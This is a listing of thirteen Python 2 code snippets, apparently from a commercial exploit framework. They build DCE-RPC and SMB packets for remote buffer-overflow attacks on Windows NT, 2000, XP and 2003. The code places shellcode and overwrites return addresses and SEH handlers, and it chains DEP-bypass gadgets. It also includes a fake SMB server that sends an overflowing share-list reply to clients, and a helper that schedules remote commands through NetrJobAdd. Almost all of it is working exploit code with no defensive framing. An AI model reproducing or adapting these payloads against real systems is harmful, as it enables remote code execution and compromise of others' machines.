Example #1
0
 def buildDcePacket(self):
     self.log('Using version %d'%(self.version))
     data=struct.pack('<L',0x00000001)
     data+=s_dce_win2k_unistring('A'*0xff)
     data+=struct.pack('<L',0x00000002)
     data+=s_dce_win2k_unistring('A'*0xff)
     return data
Example #2
0
 def SetPrinterDataExW(self,handle,key,value,data):
     self.log('Setting Printer data ("%s": "%s"="%s")'%(key,value,data))
     packet=''
     packet+=handle
     packet+=s_dce_win2k_unistring(key)
     packet+=s_dce_win2k_unistring(value)
     packet+=struct.pack('<L',1) #REG_SZ
     packet+=struct.pack('<L',len(data))
     packet+=data
     if (len(data)%4)!=0:
         packet+='\0'*(4-(len(data)%4))
     packet+=struct.pack('<L',len(data))
     self.myDCE.call(0x4d,packet,response=False)
     return 0
Example #3
0
 def buildDcePacket(self):
     self.info,self.offset,self.eip=targets[self.version]
     self.log('Generating attack string for version: %s'%(self.info))
     if len(self.shellcode)>self.offset:
         self.log('Shellcode of len %d is too big for size %d'%(len(self.shellcode),self.offset))
         raise Exception,'Shellcode too big!'
     packet=''
     data=''
     data+=self.shellcode
     data+='A'*(self.offset-len(data))
     data+=struct.pack('<L',self.eip)
     data+='B'*0xc
     data+=mosdef.assemble('jmp $-%d'%(len(data)+5),'x86')
     if (len(data)%2)==1:
         data+='C'        
     packet+=intel_order(0)
     packet+=intel_order(1)
     packet+=s_dce_raw_unistring(data)
     packet+=intel_order(0)
     packet+=s_dce_win2k_unistring('')
     packet+=intel_order(0)
     packet+=intel_order(1)
     packet+=intel_order(2)
     packet+=intel_order(0)
     return packet
Example #4
0
 def StartDocPrinterW(self,handle,filename):
     self.log('Starting doc printing ("%s")'%(filename))
     packet=''
     packet+=handle
     packet+=struct.pack('<LL',1,1) #Level,Level
     packet+=struct.pack('<L',1) #
     packet+=struct.pack('<LLL',2,3,4) #
     packet+=s_dce_win2k_unistring('Doc%04x'%(random.randint(1,65535)))
     packet+=s_dce_win2k_unistring(filename)
     packet+=s_dce_win2k_unistring('RAW')
     self.myDCE.call(0x11, packet, response=True)
     ret = self.myDCE.reassembled_data
     if not ret or len(ret)!=8:
         return 0,-1
     jobid,status=struct.unpack('<LL',ret)
     return jobid,status
Example #5
0
 def NetrJobAdd(self, jobtime, command):       
     """
     Add a job to our target
     """
     packet=intel_order(0)        #ServerName
     packet+=intel_order(jobtime) #JobTime
     packet+=intel_order(0)       #DaysOfMonth
     packet+='\x00'               #DaysOfWeek
     packet+='\x18'               #Flags=JOB_NONINTERACTIVE|JOB_ADD_CURRENT_DATE
     while (len(packet)%4)!=0:
         packet+='\x00'
     packet+=intel_order(1)       #Command
     packet+=s_dce_win2k_unistring(command)
     try:
         self.myDCE.call(0, packet, response=True)
         ret = self.myDCE.reassembled_data
         if ret == 0:
             self.log("Could not call NetrJobAdd on target")
             return False 
         id, status = struct.unpack('<LL', ret[0:8])
         if status != 0:
             self.log('NetrJobAdd of job %d failed with status %d' % (id, status))
         else:
             self.jobsid.append(id)
     except Exception, emsg:
         self.log('NetrJobAdd: %s' % str(emsg))
         return False 
Example #6
0
 def EnumPrinterDataExW(self,handle,key):
     self.log('Enumerating Priner data ("%s")'%(key))
     packet=''
     packet+=handle
     packet+=s_dce_win2k_unistring(key)
     packet+=struct.pack('<L',0x1000)
     self.myDCE.call(0x4f,packet,response=True)
     return 0
Example #7
0
    def buildDcePacket(self):
        self.info,self.eip=targets[self.version]
        data=''
        packet=''
        data+='\\\0\\\0'

        if self.version==1: #Windows 2000 SP4, XP SP1a
            bufferXP='A'*(0xf048-0xef20)
            bufferXP+=struct.pack('<L',self.eip[1]) #eip XP
            bufferXP+='C'*8
            data+=bufferXP
            buffer2K=self.shellcode
            buffer2K+='D'*(0xf1d0-0xeccc-len(self.shellcode)-len(bufferXP))
            buffer2K+=struct.pack('<L',self.eip[0]) #eip 2000
            buffer2K+='F'*8
            buffer2K+=mosdef.assemble('jmp $-%d'%(len(buffer2K)+5),'x86') #jmp back
            data+=buffer2K
            if (len(data)%2)==1:
                data+='G'
            data+='\\\0H\0'

            packet+=intel_order(1)
            packet+=s_dce_win2k_unistring('F')
            packet+=s_dce_raw_unistring(data)
            packet+=intel_order(0)

        elif self.version>=2: #XP SP2 with DEP
            from shellcode import shellcodeGenerator
            sc=shellcodeGenerator.win32()
            sc.addAttr('SmallSearchCode',{'tag':0x6b303063}) #'c00k'
            sc.standalone=1
            searchcode=self.wc_encodeshellcode(sc.get())

            bufferXP=searchcode
            bufferXP+='A'*(0xf000-0xeeec-len(bufferXP))
            bufferXP+=mosdef.assemble('jmp $-%d'%(len(bufferXP)+5),'x86') #jmp back
            bufferXP+='B'*(0xf014-0xeeec-len(bufferXP))
            bufferXP+=struct.pack('<L',self.eip[0])
            bufferXP+='C'*8
            bufferXP+=struct.pack('<L',self.eip[1])
            bufferXP+=struct.pack('<L',self.eip[3])
            bufferXP+='D'*16
            bufferXP+=struct.pack('<L',self.eip[2])
            bufferXP+='E'*4
            bufferXP+='\xeb\xd6' #esi is restored from here, jmp back
            data+=bufferXP
            data+='\\\x00F\x00'
            if (len(self.shellcode)%2)==1:
                self.shellcode+='G'

            packet+=intel_order(1)
            packet+=s_dce_raw_unistring('c00k'+self.shellcode)
            packet+=s_dce_raw_unistring(data)
            packet+=intel_order(0)

        return packet
Example #8
0
    def LlsrConnect(self):
        packet = ''
        packet += s_dce_win2k_unistring('PHOENIX')
        #        self.myDCE.set_timeout(600)
        self.log('LlsrConnect')
        self.myDCE.call(0, packet, response=True)
        response = self.myDCE.reassembled_data
        self.log('LlsrConnect response')

        if len(response) != 24:
            raise Exception, 'Invalid response received!'

        handle = struct.unpack('>20s', response[:20])[0]
        status = struct.unpack('>L', response[20:])[0]

        self.log('Handle: %s Status: %d' % (hexprint(handle), status))

        if status != 0:
            self.log('LlsrConnect failed with %08x' % (status))
            return ''
        return handle
Example #9
0
 def buildDcePacket(self):
     payload = ''
     payload += 'A' * self.distance
     payload += '\xeb\x1e'  #jmp forward
     payload += 'BB'
     payload += struct.pack('<L', self.eip)  #SEH
     payload += 'C' * 0x14
     payload += 'DDD\xff'  #access violation
     payload += self.shellcode
     while (len(payload) % 4) != 0:
         payload += 'E'
     data = ''
     data += struct.pack('<LLLL', 0, 0, len(payload), 0)
     data += 'F' * 0x10
     data += payload
     packet = ''
     packet += s_dce_win2k_unistring('X\\Y\\Z')
     packet += struct.pack('<LL', 0xffff, len(data))
     packet += data
     packet += struct.pack('<LLL', len(data), 4, 0)
     return packet
Example #10
0
 def buildDcePacket(self):
     self.log('version=%d' % (self.version))
     self.description, self.eip = targets[self.version]
     data = ''
     packet = ''
     if self.description.count('2000') > 0:
         data += '\\'
         data += self.shellcode
         data += 'A' * (0x7e4 - len(data))
         data += 'BBB\xff'  #access violation
         data += 'C' * (0xb10 - len(data))
         from MOSDEF import mosdef
         data += mosdef.assemble('jmp $-%d' % (len(data) - 1 + 5),
                                 'x86')  #jmp backward
         data += 'DDD'
         data += '\xeb\xf6'  #jmp backward
         data += 'EE'
         data += struct.pack('<L', self.eip)  #SEH
         packet += s_dce_win2k_unistring(data)
     elif self.description.count('XP') > 0:
         data += '\\\x00'
         data += self.shellcode
         data += 'A' * (0x7ac - len(data))
         data += struct.pack('<L', self.eip)
         data += 'B' * 0xc
         from MOSDEF import mosdef
         data += mosdef.assemble('jmp $-%d' % (len(data) - 2 + 5),
                                 'x86')  #jmp backward
         if (len(data) % 2) == 1:
             data += 'C'
         packet += s_dce_raw_unistring(data)
     packet += struct.pack('<L', 0)
     packet += s_dce_unistring('')
     packet += s_dce_unistring('')
     packet += s_dce_unistring('')
     packet += struct.pack('<LLLLLL', 0, 0, 0, 0, 0, 0)
     return packet
Example #11
0
    def buildDcePacket(self):
        self.log('Using version %d' % (self.version))
        self.info, self.base, eip, self.distance = targets[self.version]
        self.eip = []
        for i in range(len(eip)):
            self.eip += [eip[i]]
        self.log('Attacking %s' % (self.info))
        data = ''
        payload = ''
        payload += u'A\\..\\..\\'.encode('utf-16le')
        mark = len(payload)

        if self.version == self.WINNT4:  #Windows NT 4.0
            stager2k = """movl %%esp,%%eax
addw $0x%x,%%ax
movl (%%eax),%%eax
jmp %%eax""" % (self.distance)
            stager = mosdef.assemble(stager2k, 'x86')
            payload += struct.pack('<L', self.eip[0])
            payload += 'BBBB'
            payload += stager
            payload += 'C' * (0x4a - (len(payload) - mark))

        elif self.version == self.WIN2000 or self.version == self.WINXP:  #Windows 2000 or Windows XP SP0-SP1a
            stager2k = """movl %%esp,%%eax
addw $0x%x,%%ax
movl (%%eax),%%eax
jmp %%eax""" % (self.distance)
            stager = mosdef.assemble(stager2k, 'x86')
            payload += 'A' * 0x12
            payload += struct.pack('<L', self.eip[0])
            payload += stager
            payload += 'C' * (0x48 - (len(payload) - mark))
            payload += '\xeb\xcc'

        elif self.version == self.WIN2003:  #Windows 2003 SP0
            stager2k = """movl %%esp,%%eax
addw $0x%x,%%ax
movl (%%eax),%%eax
jmp %%eax""" % (self.distance)
            stager = mosdef.assemble(stager2k, 'x86')
            payload += 'AA'
            payload += struct.pack('<L', self.eip[0])
            payload += 'C' * 0x32
            payload += stager
            payload += 'D' * (0x4a - (len(payload) - mark))

        elif self.version in self.deptargets:  #Windows XP SP2-SP3, or Windows 2003 SP1-SP2
            for i in range(len(self.eip)):
                self.eip[i] += self.base
            stagerXp = """movl %%esp,%%eax
addw $0x%x,%%ax
movl 0x0(%%eax),%%eax
pushl %%eax
call %%esi
jmp %%eax""" % (self.distance)  #__wcsdup
            stager = mosdef.assemble(stagerXp, 'x86')
            if len(stager) > 0x0e:
                raise Exception, 'Somebody messed up something in MOSDEF, cannot continue'  #HI DAVE!!!
            #This is based on a Nicolas P. idea
            payload += struct.pack('<L', self.eip[7])  #call eax
            payload += stager
            payload += 'B' * (0x12 - (len(payload) - mark))
            payload += struct.pack('<LLLL', self.eip[0], 0xffffffff,
                                   0x00010001, 0x00010001)  #HeapCreate
            payload += 'C' * 4  #discarded
            payload += struct.pack('<LL', self.eip[1], 0xfffffff5)
            payload += struct.pack('<L', self.eip[2])
            payload += struct.pack('<L', self.eip[6])  #__wcsdup
            payload += 'D' * 4  #discarded
            payload += struct.pack('<L', self.eip[3])
            payload += struct.pack('<L', self.eip[4])
            payload += struct.pack('<L', self.eip[5])
            payload += struct.pack('<L', self.eip[6] + 5)  #__wcsdup+5

        payload += '\0\0'
        data += struct.pack('<L', 0x00000001)
        if len(self.shellcode) % 2 != 0:
            self.shellcode += 'A'
        data += s_dce_raw_unistring(self.shellcode + 'A' * 64 + '\0\0')
        data += s_dce_raw_unistring(payload)
        data += struct.pack('<L', 0x00000002)
        data += s_dce_win2k_unistring('\\')
        data += struct.pack('<LL', 1, 1)
        return data
Example #12
0
 def handleSMBclient(self, s, eip):
     """Handles a SMB client connection"""
     request = self.recvall(s)
     #Negotiate Protocol Request
     if len(request) < 9 or request[4:8] != '\xffSMB' or ord(
             request[8]) != 0x72:
         self.log(
             'Unexpected packet received instead of "Negotiate Protocol Request"'
         )
         return False
     muxid = struct.unpack('<H', request[0x22:0x24])[0]
     #Negotiate Protocol Response
     response = ''
     response += struct.pack('>BBH', 0x00, 0x00,
                             0x0055) + '\xffSMB' + struct.pack(
                                 '<BL', 0x72, 0x00000000)
     response += struct.pack('<BHH', 0x98, 0xc853, 0x0000) + '\0' * 0x08
     response += struct.pack('<HHHHH', 0x0000, 0x0000, 0xfeff, 0x0000,
                             muxid)
     response += struct.pack('<BHBHHLLL', 0x11, 0x0005, 0x03, 0x000a,
                             0x0001, 0x00001104, 0x00010000, 0x00000000)
     response += struct.pack('<LLLHBH', 0x8000e3fd, 0x00000000, 0x00000000,
                             0x0168, 0x00, 0x0010) + '\xff' * 0x10
     s.sendall(response)
     request = self.recvall(s)
     #Session Setup AndX Request, NTLMSSP_NEGOTIATE
     if len(request) < 0x24 or request[4:8] != '\xffSMB' or ord(
             request[8]) != 0x73:
         self.log(
             'Unexpected packet received instead of "Session Setup AndX Request, NTLMSSP_NEGOTIATE"'
         )
         return False
     muxid = struct.unpack('<H', request[0x22:0x24])[0]
     #Session Setup AndX Response, NTLMSSP_CHALLENGE, Error: STATUS_MORE_PROCESSING_REQUIRED
     response = ''
     response += struct.pack('>BBH', 0x00, 0x00,
                             0x011d) + '\xffSMB' + struct.pack(
                                 '<BL', 0x73, 0xc0000016)
     response += struct.pack('<BHH', 0x98, 0xc807, 0x0000) + '\0' * 0x08
     response += struct.pack('<HHHHH', 0x0000, 0x0000, 0xfeff, 0x0800,
                             muxid)
     response += struct.pack('<BBBHH', 0x04, 0xff, 0x00, 0x011d, 0x0000)
     response += struct.pack('<HH', 0x00a8,
                             0x00f2) + 'NTLMSSP\0' + struct.pack(
                                 '<L', 0x00000002)
     response += struct.pack('<HHL', 0x0014,
                             0x0014, 0x00000030) + struct.pack(
                                 '<L', 0xe08a8215) + '\0' * 16
     response += struct.pack('<HHL', 0x0064, 0x0064,
                             0x00000044) + 'FAKESMBSRV'.encode('UTF-16')[2:]
     response += struct.pack('<HH', 0x0002,
                             0x0014) + 'FAKESMBSRV'.encode('UTF-16')[2:]
     response += struct.pack('<HH', 0x0001,
                             0x0014) + 'FAKESMBSRV'.encode('UTF-16')[2:]
     response += struct.pack('<HH', 0x0004,
                             0x0014) + 'fakesmbsrv'.encode('UTF-16')[2:]
     response += struct.pack('<HH', 0x0003,
                             0x0014) + 'fakesmbsrv'.encode('UTF-16')[2:]
     response += struct.pack('<L', 0x00000000)
     if len(response) % 2 != 0:
         response += '\0'
     response += 'Windows 5.0'.encode('UTF-16')[2:] + '\0\0'
     response += 'Windows 2000 LAN Manager'.encode('UTF-16')[2:] + '\0'
     s.sendall(response)
     request = self.recvall(s)
     #Session Setup AndX Request, NTLMSSP_AUTH, User: ???
     if len(request) < 0x24 or request[4:8] != '\xffSMB' or ord(
             request[8]) != 0x73:
         self.log(
             'Unexpected packet received instead of "Session Setup AndX Request, NTLMSSP_AUTH, User: ???"'
         )
         return
     muxid = struct.unpack('<H', request[0x22:0x24])[0]
     #Session Setup AndX Response
     response = ''
     response += struct.pack('>BBH', 0x00, 0x00,
                             0x0075) + '\xffSMB' + struct.pack(
                                 '<BL', 0x73, 0x00000000)
     response += struct.pack('<BHH', 0x98, 0xc807, 0x0000) + '\0' * 0x08
     response += struct.pack('<HHHHH', 0x0000, 0x0000, 0xfeff, 0x0800,
                             muxid)  #tid pid uid
     response += struct.pack('<BBBH', 0x04, 0xff, 0x00, 0x0075)
     response += struct.pack('<HHHB', 0x0000, 0x0000, 0x004a, 0x4e)
     response += 'Windows 5.0'.encode('UTF-16')[2:] + '\0\0'
     response += 'Windows 2000 LAN Manager'.encode('UTF-16')[2:] + '\0'
     s.sendall(response)
     request = self.recvall(s)
     #Tree Connect AndX Request, Path: ???
     if len(request) < 0x24 or request[4:8] != '\xffSMB' or ord(
             request[8]) != 0x75:
         self.log(
             'Unexpected packet received instead of "Tree Connect AndX Request, Path: ???"'
         )
         return False
     muxid = struct.unpack('<H', request[0x22:0x24])[0]
     #Tree Connect AndX Response
     response = ''
     response += struct.pack('>BBH', 0x00, 0x00,
                             0x0038) + '\xffSMB' + struct.pack(
                                 '<BL', 0x75, 0x00000000)
     response += struct.pack('<BHH', 0x98, 0xc807, 0x0000) + '\0' * 0x08
     response += struct.pack('<HHHHH', 0x0000, 0x0800, 0xfeff, 0x0800,
                             muxid)  #tid pid uid
     response += struct.pack('<BBBH', 0x07, 0xff, 0x00, 0x0038)
     response += struct.pack('<HHHHHH', 0x0001, 0x01ff, 0x0000, 0x01ff,
                             0x0000, 0x0007) + 'IPC' + '\0' * 4
     s.sendall(response)
     request = self.recvall(s)
     #NT Create AndX Request, Path: \srvsvc
     if len(request) < 0x24 or request[4:8] != '\xffSMB' or ord(
             request[8]) != 0xa2:
         self.log('Unexpected packet received')
         return False
     muxid = struct.unpack('<H', request[0x22:0x24])[0]
     #NT Create AndX Response, FID: 0x4000
     response = ''
     response += struct.pack('>BBH', 0x00, 0x00,
                             0x0087) + '\xffSMB' + struct.pack(
                                 '<BL', 0xa2, 0x00000000)
     response += struct.pack('<BHH', 0x98, 0xc807, 0x0000) + '\0' * 0x08
     response += struct.pack('<HHHHH', 0x0000, 0x0800, 0x01a4, 0x0800,
                             muxid)  #tid pid uid
     response += struct.pack('<BBBH', 0x2a, 0xff, 0x00, 0x0087)
     response += struct.pack('<BHL', 0x00, 0x4000,
                             0x00000001) + '\0' * 32  #fid
     response += struct.pack('<LLL', 0x00000080, 0x00001000,
                             0x00000000) + '\0' * 8
     response += struct.pack('<HHBH', 0x0002, 0x05ff, 0x00, 0x0000)
     response += struct.pack('<HHL', 0x0014, 0x0014, 0x00000076)
     response += struct.pack('<HHL', 0x0010, 0x0010, 0x000000ba)
     response += struct.pack('<LHHHHHH', 0xe2888215, 0x0005, 0x01ff, 0x001f,
                             0x01fb, 0x0012, 0x004f)  #unknown
     s.sendall(response)
     request = self.recvall(s)
     #DCERPC Bind: call_id: 1 SRVSVC V3.0
     if len(request) < 0x68 or request[4:8] != '\xffSMB' or ord(
             request[8]) != 0x25:
         self.log(
             'Unexpected packet received instead of "DCERPC Bind: call_id: 1 SRVSVC V3.0"'
         )
         return False
     callid = struct.unpack('<L', request[0x64:0x68])[0]
     pid = struct.unpack('<H', request[0x1e:0x20])[0]
     muxid = struct.unpack('<H', request[0x22:0x24])[0]
     #DCERPC Bind_ack: call_id: 1 accept max_xmit: 4280 max_recv: 4280
     response = ''
     response += struct.pack('>BBH', 0x00, 0x00,
                             0x007c) + '\xffSMB' + struct.pack(
                                 '<BL', 0x25, 0x00000000)
     response += struct.pack('<BHH', 0x98, 0xc807, 0x0000) + '\0' * 0x08
     response += struct.pack('<HHHHH', 0x0000, 0x0800, pid, 0x0800,
                             muxid)  #tid pid uid
     response += struct.pack('<BHHHHHHHHHBBHB', 0x0a, 0x0000, 0x0044,
                             0x0000, 0x0000, 0x0038, 0x0000, 0x0044, 0x0038,
                             0x0000, 0x00, 0x00, 0x0045, 0x00)
     response += struct.pack('<BBBBLHHLHH', 0x05, 0x00, 0x0c, 0x03,
                             0x00000010, 0x0044, 0x0000, callid, 0x10b8,
                             0x10b8)
     response += struct.pack('<LH', 0x000064fd,
                             0x000d) + '\\PIPE\\ntsvcs\0\0' + struct.pack(
                                 '<LL', 0x00000001, 0x00000000)
     response += struct.pack('<LHHBBBBBBBBL', 0x8a885d04, 0x1ceb, 0x11c9,
                             0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60,
                             0x00000002)
     s.sendall(response)
     request = self.recvall(s)
     #SRVSVC NetShareEnumAll request
     if len(request) < 0x68 or request[4:8] != '\xffSMB' or ord(
             request[8]) != 0x25:
         self.log(
             'Unexpected packet received instead of "SRVSVC NetShareEnumAll request"'
         )
         return False
     callid = struct.unpack('<L', request[0x64:0x68])[0]
     pid = struct.unpack('<H', request[0x1e:0x20])[0]
     muxid = struct.unpack('<H', request[0x22:0x24])[0]
     #SRVSVC NetShareEnumAll response
     comment = ''
     comment += 'B' * 0x20
     comment += struct.pack('<L', 0xfffffffc)
     comment += 'CCCC'
     comment += struct.pack('<L', self.eip)
     comment += 'DDDD'
     comment += struct.pack('<L', 0x7ffdf204)
     comment += 'E' * 0xc
     comment += struct.pack(
         '<L', 0x7ffdf1e4)  #0x7ffdf1e0 points to 'Service Pack 4'
     comment += struct.pack('<L', 0x01010101)
     comment += struct.pack('<L', 0x7ffdf0ac)
     comment += 'FFFF'
     comment += 'G' * 0xc
     comment += self.shellcode
     if (len(comment) % 2) != 0:
         comment += '\xcc'
     data = ''
     data += struct.pack('<L', 1)
     data += struct.pack('<L', 1)
     data += struct.pack('<L', 1)  #[unique]
     data += struct.pack('<L', 6)
     data += struct.pack('<L', 2)  #[unique]
     data += struct.pack('<L', 6)
     data += struct.pack('<LLL', 3, 0x80000003, 4)  #[unique],type,[unique]
     data += struct.pack('<LLL', 5, 0x00000000, 6)  #[unique],type,[unique]
     data += struct.pack('<LLL', 7, 0x00000001, 8)  #[unique],type,[unique]
     data += struct.pack('<LLL', 9, 0x80000000, 10)  #[unique],type,[unique]
     data += struct.pack('<LLL', 11, 0x80000000,
                         12)  #[unique],type,[unique]
     data += struct.pack('<LLL', 13, 0x00000000,
                         14)  #[unique],type,[unique]
     data += s_dce_win2k_unistring('IPC$')
     data += s_dce_win2k_unistring('Remote IPC')
     data += s_dce_win2k_unistring('print$')
     data += s_dce_win2k_unistring('Printer Drivers')
     data += s_dce_win2k_unistring('A' *
                                   0x207)  #wcsncpy() is 0x207 cch long
     data += s_dce_raw_unistring(comment)
     data += s_dce_win2k_unistring('ADMIN$')
     data += s_dce_win2k_unistring('Remote Admin')
     data += s_dce_win2k_unistring('C$')
     data += s_dce_win2k_unistring('Default share')
     data += s_dce_win2k_unistring('Shared')
     data += s_dce_win2k_unistring('')
     data += struct.pack('<LLL', 6, 0, 0)
     #SMB Pipe TransactNmPipe Response, FID: 0x4000
     self.log('Sending 1st fragment of NetShareEnumAll response')
     #Fragment 1
     response = ''
     response += struct.pack('>BBH', 0x00, 0x00,
                             0x0438) + '\xffSMB' + struct.pack(
                                 '<BL', 0x25, 0x80000005)
     response += struct.pack('<BHH', 0x98, 0xc807, 0x0000) + '\0' * 0x08
     response += struct.pack('<HHHHH', 0x0000, 0x0800, pid, 0x0800,
                             muxid)  #tid pid uid
     response += struct.pack('<BHHHHHHHHHBBHB', 0x0a, 0x0000, 0x0400,
                             0x0000, 0x0000, 0x0038, 0x0000, 0x0400, 0x0038,
                             0x0000, 0x00, 0x00, 0x0401, 0x00)
     response += struct.pack('<BBBBLHHLL', 0x05, 0x00, 0x02, 0x03,
                             0x00000010, 0x0018 + len(data), 0x0000, callid,
                             len(data))
     response += struct.pack('<HH', 0x0000, 0x0000)
     response += data[:0x400 - 0x18]
     s.sendall(response)
     request = self.recvall(s)
     #SMB Read AndX Request, FID: 0x4000, ??? bytes at offset 0
     if len(request) < 0x24 or request[4:8] != '\xffSMB' or ord(
             request[8]) != 0x2e:
         self.log(
             'Unexpected packet received instead of "SMB Read AndX Request, FID: 0x4000, ??? bytes at offset 0"'
         )
         return False
     pid = struct.unpack('<H', request[0x1e:0x20])[0]
     muxid = struct.unpack('<H', request[0x22:0x24])[0]
     # XXX
     self.log('Sending 2nd fragment of NetShareEnumAll response')
     #Fragment 2
     remaining = data[0x400 - 0x18:]
     response = ''
     response += struct.pack('>BBH', 0x00, 0x00, 0x48 +
                             len(remaining)) + '\xffSMB' + struct.pack(
                                 '<BL', 0x2e, 0x00000000)
     response += struct.pack('<BHH', 0x98, 0xc807, 0x0000) + '\0' * 0x08
     response += struct.pack('<HHHHH', 0x0000, 0x0800, pid, 0x0800,
                             muxid)  #tid pid uid
     response += struct.pack('<BBBHHHHHHL', 0x0c, 0xff,
                             0x00, 0x0000, 0x0000, 0x0000, 0x0000,
                             len(remaining), 0x003c, 0x00000000)
     response += '\0' * 6 + struct.pack('<HB', len(remaining) + 1, 0x00)
     response += data[0x400 - 0x18:]
     s.sendall(response)
     request = self.recvall(s)
     #XXX: sleep instead of recvall
     return True
Example #13
0
    def buildDcePacket(self):
        self.info, self.eip = targets[self.version]
        self.log('Attacking %s' % (self.info))

        data = ''

        if self.version == 1 or self.version == 2:  #Windows NT 4.0 SP6a and 2000 SP0-SP4
            payload = ''
            payload += self.shellcode
            payload += 'A' * (0x416 - len(payload))
            payload += struct.pack('<L', self.eip + 2)
            payload += 'CCCCDDDD'
            payload += struct.pack('<L', self.eip)
            payload += struct.pack('<L', 0xffffffff)
            data += struct.pack('<L', 0)
            data += s_dce_raw_unistring(payload)
            data += struct.pack('<L', 1)
            data += s_dce_win2k_unistring('/')
            data += struct.pack('<LL', 1, 1)

        elif self.version == 3:  #Windows XP SP1a (slight difference between SP0 and SP1a)
            stager = """addl $0x70,%esp
movl 0x60(%esp),%eax
addl $0x10,%eax
call %eax"""
            padsize = 0x20
            payload = ''
            payload += 'A' * padsize  #the beginning of the buffer might get corrupted
            payload += mosdef.assemble(stager, 'x86')
            payload += 'A' * (0x264 - len(payload))
            payload += struct.pack('<L', self.eip + padsize)  #for SP0
            payload += 'CCCCDDDD'
            payload += struct.pack('<L', self.eip)
            payload += struct.pack('<L', 0xffffffff)
            payload += 'E' * (0x294 - len(payload))
            payload += struct.pack('<L', self.eip + padsize)  #for SP1a
            payload += 'FFFFGGGG'
            payload += struct.pack('<L', self.eip)
            payload += struct.pack('<L', 0xffffffff)
            data += struct.pack('<L', 0)
            data += s_dce_raw_unistring(payload)
            data += struct.pack('<L', 1)
            data += s_dce_win2k_unistring('')
            data += struct.pack('<LL', 1, 1)
            resp = True if self.response else False
            ret = self.myDCE.call(self.targetfunction, data, response=resp)

            if (len(self.shellcode) % 2) != 0:
                self.shellcode += 'E'
            data += struct.pack('<L', 0)
            data += s_dce_raw_unistring(self.shellcode)
            data += struct.pack('<L', 1)
            data += s_dce_win2k_unistring('')
            data += struct.pack('<LL', 1, 1)
            self.connect()

        elif self.version == 4:  #Windows 2003 SP0, I won't touch that yet
            marshaller = dcemarshaller()
            geteip = self.eip
            # First call: Find the disaligment of the unitialized rpc call
            # Basically, we send a string, and see how many garbage we have before our string

            self.log(
                "1) Finding the correct aligment of the unitialized buffer")

            buffer = "ABCD"
            data = self.doMarshall(marshaller, buffer)
            self.myDCE.call(self.targetfunction, data, response=True)
            ret = self.myDCE.reassembled_data
            first_offset = ret.find("ABCD")
            self.log("  - Aligment found : 0x%04x" % first_offset)

            # Second call: Now we know exactly the offset of the disaligment, so now we will try to
            #  know exaclty at what point the buffer gets written by a double "zero" on the overwrite func
            #  Two rpc calls need for that

            self.log("2) Finding the point where unitialized gets overwritten")

            self.connect()
            buffer = intel_order(geteip - first_offset) + "A" * 0x200
            data = self.doMarshall(marshaller, buffer)
            self.myDCE.call(self.targetfunction, data, response=True)
            ret = self.myDCE.reassembled_data
            second_offset = 0
            self.connect()
            buffer = "B" * 0x10
            data = self.doMarshall(marshaller, buffer)
            self.myDCE.call(self.targetfunction, data, response=True)
            ret = self.myDCE.reassembled_data

            if ret:
                second_offset = self.parseResponse(ret)  # returns the offset

            self.log("  - Offset to the overwrite: 0x%04x" % second_offset)

            # This guy, overwrites
            ndx = 0x418 - second_offset
            if ndx < len(self.shellcode):
                self.log(
                    "Sorry, The shellcode is too big to Work (size: %d, available: %d)"
                    % (len(self.shellcode), ndx))
                return ""
            buffer = "A" * 0x8 + self.shellcode + "B" * (ndx - 8 -
                                                         len(self.shellcode))
            buffer += intel_order(geteip - first_offset)  # stack cookie
            buffer += "CCCC"  # EBP
            buffer += intel_order(geteip + second_offset -
                                  first_offset)  # ret address
            buffer += intel_order(geteip - first_offset) * 4  # arguments
            self.log("3) Stack layout: ")
            self.log(
                "   [ 0x%08x] # DWORD that overwrite where the cookie is  " %
                (geteip - first_offset))
            self.log("   [    ....   ] # nops + shellcode")
            self.log("   [ 0x%08x] # stack cookie" % (geteip - first_offset))
            self.log("   [ 0x%08x] # EBP " % 0x43434343)
            self.log("   [ 0x%08x] # RET " %
                     (geteip + second_offset - first_offset))
            self.log("   [    ...    ] # ")
            self.log(
                "   [ 0x%08x] # arg_8 which is passed to a memcpy, and copy this buffer into the cookie .data"
                % (geteip - first_offset))
            data = self.doMarshall(marshaller, buffer)
            #try:
            #    ret = self.myDCE.call(self.targetfunction,data, response = 1)
            #except DCEException:
            #    print "Exception #3"

            self.connect()
        return data